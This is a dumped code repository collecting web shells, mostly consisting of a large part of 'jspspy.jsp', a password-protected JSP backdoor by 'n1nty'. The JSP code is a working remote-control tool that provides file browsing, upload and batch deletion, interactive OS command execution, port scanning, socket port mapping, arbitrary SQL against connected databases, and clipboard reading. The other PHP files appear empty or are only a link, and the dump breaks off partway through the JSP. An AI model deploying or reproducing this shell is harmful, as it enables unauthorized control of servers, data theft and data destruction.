├── 1.php ├── 1.php4 ├── 11.php ├── 1211.php ├── README.md ├── WebShell.php ├── jspspy.jsp ├── jspspy.war ├── rOOts.php ├── shell.php └── udf.php /1.php: -------------------------------------------------------------------------------- 1 | 4 | -------------------------------------------------------------------------------- /1.php4: -------------------------------------------------------------------------------- 1 | -------------------------------------------------------------------------------- /11.php: -------------------------------------------------------------------------------- 1 | 7 | -------------------------------------------------------------------------------- /1211.php: -------------------------------------------------------------------------------- 1 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # webshell 2 | 收藏webshell 3 | -------------------------------------------------------------------------------- /WebShell.php: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/safe6Sec/webshell/c3008de8e2ee546eff601720a349edafb93da603/WebShell.php -------------------------------------------------------------------------------- /jspspy.jsp: -------------------------------------------------------------------------------- 1 | <%@page pageEncoding="utf-8"%> 2 | <%@page import="java.io.*"%> 3 | <%@page import="java.util.*"%> 4 | <%@page import="java.util.regex.*"%> 5 | <%@page import="java.sql.*"%> 6 | <%@page import="java.lang.reflect.*"%> 7 | <%@page import="java.nio.charset.*"%> 8 | <%@page import="javax.servlet.http.HttpServletRequestWrapper"%> 9 | <%@page import="java.text.*"%> 10 | <%@page import="java.net.*"%> 11 | <%@page import="java.util.zip.*"%> 12 | <%@page import="java.util.jar.*"%> 13 | <%@page import="java.awt.*"%> 14 | <%@page import="java.awt.image.*"%> 15 | <%@page import="javax.imageio.*"%> 16 | <%@page import="java.awt.datatransfer.DataFlavor"%> 17 | <%@page import="java.util.prefs.Preferences"%> 18 | <%! 19 | /** 20 | * by n1nty 21 | * CY . I Love You. 22 | */ 23 | private static final String PW = "shang"; //password 24 | private static final String PW_SESSION_ATTRIBUTE = "JspSpyPwd"; 25 | private static final String REQUEST_CHARSET = "ISO-8859-1"; 26 | private static final String PAGE_CHARSET = "UTF-8"; 27 | private static final String CURRENT_DIR = "currentdir"; 28 | private static final String MSG = "SHOWMSG"; 29 | private static final String PORT_MAP = "PMSA"; 30 | private static final String DBO = "DBO"; 31 | private static final String SHELL_ONLINE = "SHELL_ONLINE"; 32 | private static final String ENTER = "ENTER_FILE"; 33 | private static final String ENTER_MSG = "ENTER_FILE_MSG"; 34 | private static final String ENTER_CURRENT_DIR = "ENTER_CURRENT_DIR"; 35 | private static final String SESSION_O = "SESSION_O"; 36 | private static String SHELL_NAME = ""; 37 | private static String WEB_ROOT = null; 38 | private static String SHELL_DIR = null; 39 | public static Map ins = new HashMap(); 40 | private static boolean ISLINUX = false; 41 | 42 | private static final String MODIFIED_ERROR = "JspSpy Was Modified By Some Other Applications. Please Logout."; 43 | private static final String BACK_HREF = " Back"; 44 | 45 | private static class MyRequest extends HttpServletRequestWrapper { 46 | public MyRequest(HttpServletRequest req) { 47 | super(req); 48 | } 49 | public String getParameter(String name) { 50 | try { 51 | String value = super.getParameter(name); 52 | if (name == null) 53 | return null; 54 | return new String(value.getBytes(REQUEST_CHARSET),PAGE_CHARSET); 55 | } catch (Exception e) { 56 | return null; 57 | } 58 | } 59 | } 60 | private static class SpyClassLoader extends ClassLoader{ 61 | public SpyClassLoader() { 62 | } 63 | public Class defineClass(String name,byte[] b) { 64 | return super.defineClass(name,b,0,b.length - 2); 65 | } 66 | } 67 | private static class DBOperator{ 68 | private Connection conn = null; 69 | private Statement stmt = null; 70 | private String driver; 71 | private String url; 72 | private String uid; 73 | private String pwd; 74 | public DBOperator(String driver,String url,String uid,String pwd) throws Exception { 75 | this(driver,url,uid,pwd,false); 76 | } 77 | public DBOperator(String driver,String url,String uid,String pwd,boolean connect) throws Exception { 78 | Class.forName(driver); 79 | if (connect) 80 | this.conn = DriverManager.getConnection(url,uid,pwd); 81 | this.url = url; 82 | this.driver = driver; 83 | this.uid = uid; 84 | this.pwd = pwd; 85 | } 86 | public void connect() throws Exception{ 87 | this.conn = DriverManager.getConnection(url,uid,pwd); 88 | } 89 | public Object execute(String sql) throws Exception { 90 | if (isValid()) { 91 | stmt = conn.createStatement(); 92 | if (stmt.execute(sql)) { 93 | return stmt.getResultSet(); 94 | } else { 95 | return ""+stmt.getUpdateCount(); 96 | } 97 | } 98 | throw new Exception("Connection is inValid."); 99 | } 100 | public void closeStmt() throws Exception{ 101 | if (this.stmt != null) 102 | stmt.close(); 103 | } 104 | public boolean isValid() throws Exception { 105 | return conn != null && !conn.isClosed(); 106 | } 107 | public void close() throws Exception { 108 | if (isValid()) { 109 | closeStmt(); 110 | conn.close(); 111 | } 112 | } 113 | public boolean equals(Object o) { 114 | if (o instanceof DBOperator) { 115 | DBOperator dbo = (DBOperator)o; 116 | return this.driver.equals(dbo.driver) && this.url.equals(dbo.url) && this.uid.equals(dbo.uid) && this.pwd.equals(dbo.pwd); 117 | } 118 | return false; 119 | } 120 | public Connection getConn(){ 121 | return this.conn; 122 | } 123 | } 124 | private static class StreamConnector extends Thread { 125 | private InputStream is; 126 | private OutputStream os; 127 | public StreamConnector( InputStream is, OutputStream os ){ 128 | this.is = is; 129 | this.os = os; 130 | } 131 | public void run(){ 132 | BufferedReader in = null; 133 | BufferedWriter out = null; 134 | try{ 135 | in = new BufferedReader( new InputStreamReader(this.is)); 136 | out = new BufferedWriter( new OutputStreamWriter(this.os)); 137 | char buffer[] = new char[8192]; 138 | int length; 139 | while((length = in.read( buffer, 0, buffer.length ))>0){ 140 | out.write( buffer, 0, length ); 141 | out.flush(); 142 | } 143 | } catch(Exception e){} 144 | try{ 145 | if(in != null) 146 | in.close(); 147 | if(out != null) 148 | out.close(); 149 | } catch( Exception e ){} 150 | } 151 | public static void readFromLocal(final DataInputStream localIn,final DataOutputStream remoteOut){ 152 | new Thread(new Runnable(){ 153 | public void run(){ 154 | while (true) { 155 | try{ 156 | byte[] data = new byte[100]; 157 | int len = localIn.read(data); 158 | while (len != -1) { 159 | remoteOut.write(data,0,len); 160 | len = localIn.read(data); 161 | } 162 | }catch (Exception e) { 163 | break; 164 | } 165 | } 166 | } 167 | }).start(); 168 | } 169 | public static void readFromRemote(final Socket soc,final Socket remoteSoc,final DataInputStream remoteIn,final DataOutputStream localOut){ 170 | new Thread(new Runnable(){ 171 | public void run(){ 172 | while(true) { 173 | try{ 174 | byte[] data = new byte[100]; 175 | int len = remoteIn.read(data); 176 | while (len != -1) { 177 | localOut.write(data,0,len); 178 | len = remoteIn.read(data); 179 | } 180 | }catch (Exception e) { 181 | try{ 182 | soc.close(); 183 | remoteSoc.close(); 184 | }catch(Exception ex) { 185 | } 186 | break; 187 | } 188 | } 189 | } 190 | }).start(); 191 | } 192 | } 193 | private static class EnterFile extends File{ 194 | private ZipFile zf = null; 195 | private ZipEntry entry = null; 196 | private boolean isDirectory = false; 197 | private String absolutePath = null; 198 | public void setEntry(ZipEntry e) { 199 | this.entry = e; 200 | } 201 | public void setAbsolutePath(String p) { 202 | this.absolutePath = p; 203 | } 204 | public void close() throws Exception{ 205 | this.zf.close(); 206 | } 207 | public void setZf(String p) throws Exception{ 208 | if (p.toLowerCase().endsWith(".jar")) 209 | this.zf = new JarFile(p); 210 | else 211 | this.zf = new ZipFile(p); 212 | } 213 | public EnterFile(File parent, String child) { 214 | super(parent,child); 215 | } 216 | public EnterFile(String pathname) { 217 | super(pathname); 218 | } 219 | public EnterFile(String pathname,boolean isDir) { 220 | this(pathname); 221 | this.isDirectory = isDir; 222 | } 223 | public EnterFile(String parent, String child) { 224 | super(parent,child); 225 | } 226 | public EnterFile(URI uri) { 227 | super(uri); 228 | } 229 | public boolean exists(){ 230 | return new File(this.zf.getName()).exists(); 231 | } 232 | public File[] listFiles() { 233 | java.util.List list = new ArrayList(); 234 | java.util.List handled = new ArrayList(); 235 | String currentDir = super.getPath(); 236 | currentDir = currentDir.replace('\\','/'); 237 | if (currentDir.indexOf("/") == 0) 238 | { 239 | if (currentDir.length() > 1) 240 | currentDir = currentDir.substring(1); 241 | else 242 | currentDir = ""; 243 | } 244 | Enumeration e = this.zf.entries(); 245 | while (e.hasMoreElements()) 246 | { 247 | ZipEntry entry = (ZipEntry)e.nextElement(); 248 | String eName = entry.getName(); 249 | if (this.zf instanceof JarFile) { 250 | if (!entry.isDirectory()){ 251 | EnterFile ef = new EnterFile(eName); 252 | ef.setEntry(entry); 253 | try{ 254 | ef.setZf(this.zf.getName()); 255 | }catch(Exception ex) { 256 | } 257 | list.add(ef); 258 | } 259 | } else { 260 | if (currentDir.equals("")) { 261 | //zip root directory 262 | if (eName.indexOf("/") == -1 || eName.matches("[^/]+/$")) 263 | { 264 | EnterFile ef = new EnterFile(eName.replaceAll("/","")); 265 | handled.add(eName.replaceAll("/","")); 266 | ef.setEntry(entry); 267 | list.add(ef); 268 | } else { 269 | if (eName.indexOf("/") != -1) { 270 | String tmp = eName.substring(0,eName.indexOf("/")); 271 | if (!handled.contains(tmp) && !Util.isEmpty(tmp)) { 272 | EnterFile ef = new EnterFile(tmp,true); 273 | ef.setEntry(entry); 274 | list.add(ef); 275 | handled.add(tmp); 276 | } 277 | } 278 | } 279 | } else { 280 | if (eName.startsWith(currentDir)) { 281 | if (eName.matches(currentDir+"/[^/]+/?$")) { 282 | //file. 283 | EnterFile ef = new EnterFile(eName); 284 | ef.setEntry(entry); 285 | list.add(ef); 286 | if (eName.endsWith("/")) { 287 | String tmp = eName.substring(eName.lastIndexOf('/',eName.length()-2)); 288 | tmp = tmp.substring(1,tmp.length()-1); 289 | handled.add(tmp); 290 | } 291 | } else { 292 | //dir 293 | try { 294 | String tmp = eName.substring(currentDir.length()+1); 295 | tmp = tmp.substring(0,tmp.indexOf('/')); 296 | if (!handled.contains(tmp) && !Util.isEmpty(tmp)) { 297 | EnterFile ef = new EnterFile(tmp,true); 298 | ef.setAbsolutePath(currentDir+"/"+tmp); 299 | ef.setEntry(entry); 300 | list.add(ef); 301 | handled.add(tmp); 302 | } 303 | } catch (Exception ex) { 304 | } 305 | } 306 | } 307 | } 308 | } 309 | } 310 | return (File[])list.toArray(new File[0]); 311 | } 312 | public boolean isDirectory(){ 313 | return this.entry.isDirectory() || this.isDirectory; 314 | } 315 | public String getParent(){ 316 | return ""; 317 | } 318 | public String getAbsolutePath(){ 319 | return absolutePath != null ? absolutePath : super.getPath(); 320 | } 321 | public String getName(){ 322 | if (this.zf instanceof JarFile) { 323 | return this.getAbsolutePath(); 324 | } else { 325 | return super.getName(); 326 | } 327 | } 328 | public long lastModified(){ 329 | return entry.getTime(); 330 | } 331 | public boolean canRead(){ 332 | return false; 333 | } 334 | public boolean canWrite(){ 335 | return false; 336 | } 337 | public boolean canExecute(){ 338 | return false; 339 | } 340 | public long length(){ 341 | return entry.getSize(); 342 | } 343 | } 344 | private static class OnLineProcess { 345 | private String cmd = "first"; 346 | private Process pro; 347 | public OnLineProcess(Process p){ 348 | this.pro = p; 349 | } 350 | public void setPro(Process p) { 351 | this.pro = p; 352 | } 353 | public void setCmd(String c){ 354 | this.cmd = c; 355 | } 356 | public String getCmd(){ 357 | return this.cmd; 358 | } 359 | public Process getPro(){ 360 | return this.pro; 361 | } 362 | public void stop(){ 363 | this.pro.destroy(); 364 | } 365 | } 366 | private static class OnLineConnector extends Thread { 367 | private OnLineProcess ol = null; 368 | private InputStream is; 369 | private OutputStream os; 370 | private String name; 371 | public OnLineConnector( InputStream is, OutputStream os ,String name,OnLineProcess ol){ 372 | this.is = is; 373 | this.os = os; 374 | this.name = name; 375 | this.ol = ol; 376 | } 377 | public void run(){ 378 | BufferedReader in = null; 379 | BufferedWriter out = null; 380 | try{ 381 | in = new BufferedReader( new InputStreamReader(this.is)); 382 | out = new BufferedWriter( new OutputStreamWriter(this.os)); 383 | char buffer[] = new char[128]; 384 | if(this.name.equals("exeRclientO")) { 385 | //from exe to client 386 | int length = 0; 387 | while((length = in.read( buffer, 0, buffer.length ))>0){ 388 | String str = new String(buffer, 0, length); 389 | str = str.replaceAll("&","&").replaceAll("<","<").replaceAll(">",">"); 390 | str = str.replaceAll(""+(char)13+(char)10,"
"); 391 | str = str.replaceAll("\n","
"); 392 | out.write(str.toCharArray(), 0, str.length()); 393 | out.flush(); 394 | } 395 | } else { 396 | //from client to exe 397 | while(true) { 398 | while(this.ol.getCmd() == null) { 399 | Thread.sleep(500); 400 | } 401 | if (this.ol.getCmd().equals("first")) { 402 | this.ol.setCmd(null); 403 | continue; 404 | } 405 | this.ol.setCmd(this.ol.getCmd() + (char)10); 406 | char[] arr = this.ol.getCmd().toCharArray(); 407 | out.write(arr,0,arr.length); 408 | out.flush(); 409 | this.ol.setCmd(null); 410 | } 411 | } 412 | } catch(Exception e){ 413 | } 414 | try{ 415 | if(in != null) 416 | in.close(); 417 | if(out != null) 418 | out.close(); 419 | } catch( Exception e ){ 420 | } 421 | } 422 | } 423 | private static class Table{ 424 | private ArrayList rows = null; 425 | private boolean echoTableTag = false; 426 | public void setEchoTableTag(boolean v) { 427 | this.echoTableTag = v; 428 | } 429 | public Table(){ 430 | this.rows = new ArrayList(); 431 | } 432 | public void addRow(Row r) { 433 | this.rows.add(r); 434 | } 435 | public String toString(){ 436 | StringBuffer html = new StringBuffer(); 437 | if (echoTableTag) 438 | html.append(""); 439 | for (int i = 0;i"); 442 | ArrayList columns = r.getColumns(); 443 | for (int a = 0;a"); 446 | String vv = Util.htmlEncode(Util.getStr(c.getValue())); 447 | if (vv.equals("")) 448 | vv = " "; 449 | html.append(vv); 450 | html.append(""); 451 | } 452 | html.append(""); 453 | } 454 | if (echoTableTag) 455 | html.append("
"); 456 | return html.toString(); 457 | } 458 | public static String rs2Table(ResultSet rs,String sep,boolean op) throws Exception{ 459 | StringBuffer table = new StringBuffer(); 460 | ResultSetMetaData meta = rs.getMetaData(); 461 | int count = meta.getColumnCount(); 462 | if (!op) 463 | table.append(" View Struct - View All Tables

"); 464 | else 465 | table.append(" All Tables

"); 466 | table.append(""); 467 | table.append(""); 468 | for (int i = 1;i<=count;i++) { 469 | table.append(""); 470 | } 471 | if (op) 472 | table.append(""); 473 | table.append(""); 474 | while (rs.next()) { 475 | String tbName = null; 476 | table.append(""); 477 | for (int i = 1;i<=count;i++) { 478 | String v = rs.getString(i); 479 | if (i == 3) 480 | tbName = v; 481 | table.append(""); 482 | } 483 | if (op) 484 | table.append(""); 485 | table.append(""); 486 | } 487 | table.append("
"+meta.getColumnName(i)+" 
"+Util.null2Nbsp(v)+" View | Struct | Export | Save To File

"); 488 | return table.toString(); 489 | } 490 | } 491 | private static class Row{ 492 | private ArrayList cols = null; 493 | public Row(){ 494 | this.cols = new ArrayList(); 495 | } 496 | public void addColumn(Column n) { 497 | this.cols.add(n); 498 | } 499 | public ArrayList getColumns(){ 500 | return this.cols; 501 | } 502 | } 503 | private static class Column{ 504 | private String value; 505 | public Column(String v){ 506 | this.value = v; 507 | } 508 | public String getValue(){ 509 | return this.value; 510 | } 511 | } 512 | private static class Util{ 513 | public static boolean isEmpty(String s) { 514 | return s == null || s.trim().equals(""); 515 | } 516 | public static boolean isEmpty(Object o) { 517 | return o == null || isEmpty(o.toString()); 518 | } 519 | public static String getSize(long size,char danwei) { 520 | if (danwei == 'M') { 521 | double v = formatNumber(size / 1024.0 / 1024.0,2); 522 | if (v > 1024) { 523 | return getSize(size,'G'); 524 | }else { 525 | return v + "M"; 526 | } 527 | } else if (danwei == 'G') { 528 | return formatNumber(size / 1024.0 / 1024.0 / 1024.0,2)+"G"; 529 | } else if (danwei == 'K') { 530 | double v = formatNumber(size / 1024.0,2); 531 | if (v > 1024) { 532 | return getSize(size,'M'); 533 | } else { 534 | return v + "K"; 535 | } 536 | } else if (danwei == 'B') { 537 | if (size > 1024) { 538 | return getSize(size,'K'); 539 | }else { 540 | return size + "B"; 541 | } 542 | } 543 | return ""+0+danwei; 544 | } 545 | public static boolean exists(String[] arr,String v) { 546 | for (int i =0;i",">"); 575 | } 576 | public static String getStr(String s) { 577 | return s == null ? "" :s; 578 | } 579 | public static String null2Nbsp(String s) { 580 | if (s == null) 581 | s = " "; 582 | return s; 583 | } 584 | public static String getStr(Object s) { 585 | return s == null ? "" :s.toString(); 586 | } 587 | public static String exec(String regex, String str, int group) { 588 | Pattern pat = Pattern.compile(regex); 589 | Matcher m = pat.matcher(str); 590 | if (m.find()) 591 | return m.group(group); 592 | return null; 593 | } 594 | public static void outMsg(Writer out,String msg) throws Exception { 595 | outMsg(out,msg,"center"); 596 | } 597 | public static void outMsg(Writer out,String msg,String align) throws Exception { 598 | out.write("
"+msg+"
"); 599 | } 600 | public static String highLight(String str) { 601 | str = str.replaceAll("\\b(abstract|package|String|byte|static|synchronized|public|private|protected|void|int|long|double|boolean|float|char|final|extends|implements|throw|throws|native|class|interface|emum)\\b","$1"); 602 | str = str.replaceAll("\t(//.+)","\t$1"); 603 | return str; 604 | } 605 | } 606 | private static class UploadBean { 607 | private String fileName = null; 608 | private String suffix = null; 609 | private String savePath = ""; 610 | private ServletInputStream sis = null; 611 | private OutputStream targetOutput = null; 612 | private byte[] b = new byte[1024]; 613 | public void setTargetOutput(OutputStream stream) { 614 | this.targetOutput = stream; 615 | } 616 | public UploadBean() { 617 | } 618 | public void setSavePath(String path) { 619 | this.savePath = path; 620 | } 621 | public String getFileName(){ 622 | return this.fileName; 623 | } 624 | public void parseRequest(HttpServletRequest request) throws IOException { 625 | sis = request.getInputStream(); 626 | int a = 0; 627 | int k = 0; 628 | String s = ""; 629 | while ((a = sis.readLine(b,0,b.length))!= -1) { 630 | s = new String(b, 0, a,PAGE_CHARSET); 631 | if ((k = s.indexOf("filename=\""))!= -1) { 632 | s = s.substring(k + 10); 633 | k = s.indexOf("\""); 634 | s = s.substring(0, k); 635 | File tF = new File(s); 636 | if (tF.isAbsolute()) { 637 | fileName = tF.getName(); 638 | } else { 639 | fileName = s; 640 | } 641 | k = s.lastIndexOf("."); 642 | suffix = s.substring(k + 1); 643 | upload(); 644 | } 645 | } 646 | } 647 | private void upload() throws IOException{ 648 | try { 649 | OutputStream out = null; 650 | if (this.targetOutput != null) 651 | out = this.targetOutput; 652 | else 653 | out = new FileOutputStream(new File(savePath,fileName)); 654 | int a = 0; 655 | int k = 0; 656 | String s = ""; 657 | while ((a = sis.readLine(b,0,b.length))!=-1) { 658 | s = new String(b, 0, a); 659 | if ((k = s.indexOf("Content-Type:"))!=-1) { 660 | break; 661 | } 662 | } 663 | sis.readLine(b,0,b.length); 664 | while ((a = sis.readLine(b,0,b.length)) != -1) { 665 | s = new String(b, 0, a); 666 | if ((b[0] == 45) && (b[1] == 45) && (b[2] == 45) && (b[3] == 45) && (b[4] == 45)) { 667 | break; 668 | } 669 | out.write(b, 0, a); 670 | } 671 | if (out instanceof FileOutputStream) 672 | out.close(); 673 | } catch (IOException ioe) { 674 | throw ioe; 675 | } 676 | } 677 | } 678 | %> 679 | <% 680 | SHELL_NAME = request.getServletPath().substring(request.getServletPath().lastIndexOf("/")+1); 681 | String myAbsolutePath = application.getRealPath(request.getServletPath()); 682 | if (Util.isEmpty(myAbsolutePath)) {//for weblogic 683 | SHELL_NAME = request.getServletPath(); 684 | myAbsolutePath = new File(application.getResource("/").getPath()+SHELL_NAME).toString(); 685 | SHELL_NAME=request.getContextPath()+SHELL_NAME; 686 | WEB_ROOT = new File(application.getResource("/").getPath()).toString(); 687 | } else { 688 | WEB_ROOT = application.getRealPath("/"); 689 | } 690 | SHELL_DIR = Util.convertPath(myAbsolutePath.substring(0,myAbsolutePath.lastIndexOf(File.separator))); 691 | if (SHELL_DIR.indexOf('/') == 0) 692 | ISLINUX = true; 693 | else 694 | ISLINUX = false; 695 | if (session.getAttribute(CURRENT_DIR) == null) 696 | session.setAttribute(CURRENT_DIR,Util.convertPath(SHELL_DIR)); 697 | request = new MyRequest(request); 698 | if (session.getAttribute(PW_SESSION_ATTRIBUTE) == null || !(session.getAttribute(PW_SESSION_ATTRIBUTE)).equals(PW)) { 699 | String o = request.getParameter("o"); 700 | if (o != null && o.equals("login")) { 701 | ((Invoker)ins.get("login")).invoke(request,response,session); 702 | return; 703 | } else if (o != null && o.equals("vLogin")) { 704 | ((Invoker)ins.get("vLogin")).invoke(request,response,session); 705 | return; 706 | } else { 707 | ((Invoker)ins.get("vLogin")).invoke(request,response,session); 708 | return; 709 | } 710 | } 711 | %> 712 | <%! 713 | private static interface Invoker { 714 | public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception; 715 | public boolean doBefore(); 716 | public boolean doAfter(); 717 | } 718 | private static class DefaultInvoker implements Invoker{ 719 | public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception { 720 | } 721 | public boolean doBefore(){ 722 | return true; 723 | } 724 | public boolean doAfter() { 725 | return true; 726 | } 727 | } 728 | private static class ScriptInvoker extends DefaultInvoker{ 729 | public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{ 730 | try { 731 | PrintWriter out = response.getWriter(); 732 | out.println(""); 837 | 838 | } catch (Exception e) { 839 | 840 | throw e ; 841 | } 842 | } 843 | } 844 | private static class BeforeInvoker extends DefaultInvoker { 845 | public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{ 846 | try { 847 | PrintWriter out = response.getWriter(); 848 | out.println("JspSpy Private Codz By - Ninty"); 867 | } catch (Exception e) { 868 | 869 | throw e ; 870 | } 871 | } 872 | } 873 | private static class AfterInvoker extends DefaultInvoker { 874 | public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{ 875 | try { 876 | PrintWriter out = response.getWriter(); 877 | out.println(""); 878 | } catch (Exception e) { 879 | 880 | throw e ; 881 | } 882 | } 883 | } 884 | private static class DeleteBatchInvoker extends DefaultInvoker { 885 | public boolean doBefore(){return false;} 886 | public boolean doAfter(){return false;} 887 | public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{ 888 | try { 889 | String files = request.getParameter("files"); 890 | int success = 0; 891 | int failed = 0; 892 | if (!Util.isEmpty(files)) { 893 | String currentDir = JSession.getAttribute(CURRENT_DIR).toString(); 894 | String[] arr = files.split(","); 895 | for (int i = 0;iSuccess , "+failed+" Files Deleted Failed!"); 905 | response.sendRedirect(SHELL_NAME); 906 | } catch (Exception e) { 907 | 908 | throw e ; 909 | } 910 | } 911 | } 912 | private static class ClipBoardInvoker extends DefaultInvoker { 913 | public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{ 914 | try { 915 | PrintWriter out = response.getWriter(); 916 | out.println(""+ 917 | " "+ 918 | " "+ 930 | " "+ 931 | "
"+ 919 | "

System Clipboard »

"+ 920 | "

");
 921 | try{
 922 | out.println(Util.htmlEncode(Util.getStr(Toolkit.getDefaultToolkit().getSystemClipboard().getContents(DataFlavor.stringFlavor).getTransferData(DataFlavor.stringFlavor))));
 923 | }catch (Exception ex) {
 924 | out.println("ClipBoard is Empty Or Is Not Text Data !");
 925 | }
 926 | out.println("
"+ 927 | " "+ 928 | "

"+ 929 | "
"); 932 | } catch (Exception e) { 933 | 934 | throw e ; 935 | } 936 | } 937 | } 938 | private static class VPortScanInvoker extends DefaultInvoker { 939 | public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{ 940 | try { 941 | PrintWriter out = response.getWriter(); 942 | String ip = request.getParameter("ip"); 943 | String ports = request.getParameter("ports"); 944 | String timeout = request.getParameter("timeout"); 945 | String banner = request.getParameter("banner"); 946 | if (Util.isEmpty(ip)) 947 | ip = "127.0.0.1"; 948 | if (Util.isEmpty(ports)) 949 | ports = "21,25,80,110,1433,1723,3306,3389,4899,5631,43958,65500"; 950 | if (Util.isEmpty(timeout)) 951 | timeout = "2"; 952 | out.println("
"+ 953 | "

PortScan >>

"+ 954 | "
"+ 955 | "

"+ 956 | "IP : Port : Banner Timeout (Second) : "+ 957 | "

"+ 958 | "
"+ 959 | "
"); 960 | } catch (Exception e) { 961 | 962 | throw e ; 963 | } 964 | } 965 | } 966 | private static class PortScanInvoker extends DefaultInvoker { 967 | public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{ 968 | try { 969 | PrintWriter out = response.getWriter(); 970 | ((Invoker)ins.get("vPortScan")).invoke(request,response,JSession); 971 | out.println("
"); 972 | String ip = request.getParameter("ip"); 973 | String ports = request.getParameter("ports"); 974 | String timeout = request.getParameter("timeout"); 975 | String banner = request.getParameter("banner"); 976 | int iTimeout = 0; 977 | if (Util.isEmpty(ip) || Util.isEmpty(ports)) 978 | return; 979 | if (!Util.isInteger(timeout)) { 980 | timeout = "2"; 981 | } 982 | iTimeout = Integer.parseInt(timeout); 983 | Map rs = new LinkedHashMap(); 984 | String[] portArr = ports.split(","); 985 | for (int i =0;i"+sb.toString()+""); 1005 | r.close(); 1006 | } else { 1007 | rs.put(port,"Open"); 1008 | } 1009 | s.close(); 1010 | } catch (Exception e) { 1011 | if (e.toString().toLowerCase().indexOf("read timed out")!=-1) { 1012 | rs.put(port,"Open <<No Banner!>>"); 1013 | if (r != null) 1014 | r.close(); 1015 | } else { 1016 | rs.put(port,"Close"); 1017 | } 1018 | } 1019 | } 1020 | out.println("
"); 1021 | Set entrySet = rs.entrySet(); 1022 | Iterator it = entrySet.iterator(); 1023 | while (it.hasNext()) { 1024 | Map.Entry e = (Map.Entry)it.next(); 1025 | String port = (String)e.getKey(); 1026 | String value = (String)e.getValue(); 1027 | out.println(ip+" : "+port+" ................................. "+value+"
"); 1028 | } 1029 | out.println("
"); 1030 | } catch (Exception e) { 1031 | 1032 | throw e ; 1033 | } 1034 | } 1035 | } 1036 | private static class VConnInvoker extends DefaultInvoker { 1037 | public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{ 1038 | try { 1039 | PrintWriter out = response.getWriter(); 1040 | Object obj = JSession.getAttribute(DBO); 1041 | if (obj == null || !((DBOperator)obj).isValid()) { 1042 | out.println(" "); 1051 | out.println("
"+ 1052 | "
"+ 1053 | ""+ 1054 | "

DataBase Manager »

"+ 1055 | ""+ 1056 | "

"+ 1057 | "Driver:"+ 1058 | " "+ 1059 | "URL:"+ 1060 | ""+ 1061 | "UID:"+ 1062 | ""+ 1063 | "PWD:"+ 1064 | ""+ 1065 | "DataBase:"+ 1066 | " "+ 1073 | ""+ 1074 | "

"+ 1075 | "
"); 1076 | } else { 1077 | ((Invoker)ins.get("dbc")).invoke(request,response,JSession); 1078 | } 1079 | } catch (ClassCastException e) { 1080 | throw e; 1081 | } catch (Exception e) { 1082 | 1083 | throw e ; 1084 | } 1085 | } 1086 | } 1087 | //DBConnect 1088 | private static class DbcInvoker extends DefaultInvoker { 1089 | public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{ 1090 | try { 1091 | PrintWriter out = response.getWriter(); 1092 | String driver = request.getParameter("driver"); 1093 | String url = request.getParameter("url"); 1094 | String uid = request.getParameter("uid"); 1095 | String pwd = request.getParameter("pwd"); 1096 | String sql = request.getParameter("sql"); 1097 | String selectDb = request.getParameter("selectDb"); 1098 | if (selectDb == null) 1099 | selectDb = JSession.getAttribute("selectDb").toString(); 1100 | else 1101 | JSession.setAttribute("selectDb",selectDb); 1102 | Object dbo = JSession.getAttribute(DBO); 1103 | if (dbo == null || !((DBOperator)dbo).isValid()) { 1104 | if (dbo != null) 1105 | ((DBOperator)dbo).close(); 1106 | dbo = new DBOperator(driver,url,uid,pwd,true); 1107 | } else { 1108 | if (!Util.isEmpty(driver) && !Util.isEmpty(url) && !Util.isEmpty(uid)) { 1109 | DBOperator oldDbo = (DBOperator)dbo; 1110 | dbo = new DBOperator(driver,url,uid,pwd); 1111 | if (!oldDbo.equals(dbo)) { 1112 | ((DBOperator)oldDbo).close(); 1113 | ((DBOperator)dbo).connect(); 1114 | } else { 1115 | dbo = oldDbo; 1116 | } 1117 | } 1118 | } 1119 | DBOperator Ddbo = (DBOperator)dbo; 1120 | JSession.setAttribute(DBO,Ddbo); 1121 | if (!Util.isEmpty(request.getParameter("type")) && request.getParameter("type").equals("switch")) { 1122 | Ddbo.getConn().setCatalog(request.getParameter("catalog")); 1123 | } 1124 | Util.outMsg(out,"Connect To DataBase Success!"); 1125 | out.println(" "); 1137 | out.println("
"+ 1138 | "
"+ 1139 | ""+ 1140 | "

DataBase Manager »

"+ 1141 | ""+ 1142 | "

"+ 1143 | "Driver:"+ 1144 | " "+ 1145 | "URL:"+ 1146 | ""+ 1147 | "UID:"+ 1148 | ""+ 1149 | "PWD:"+ 1150 | ""+ 1151 | "DataBase:"+ 1152 | " "+ 1159 | ""+ 1160 | "

"+ 1161 | "
"); 1162 | DatabaseMetaData meta = Ddbo.getConn().getMetaData(); 1163 | out.println("
"+ 1164 | "

Version : "+meta.getDatabaseProductName()+" , "+meta.getDatabaseProductVersion()+"
URL : "+meta.getURL()+"
Catalog : "+Ddbo.getConn().getCatalog()+"
UserName : "+meta.getUserName()+"

Run SQL query/queries on database / Switch Database : "); 1165 | out.println("

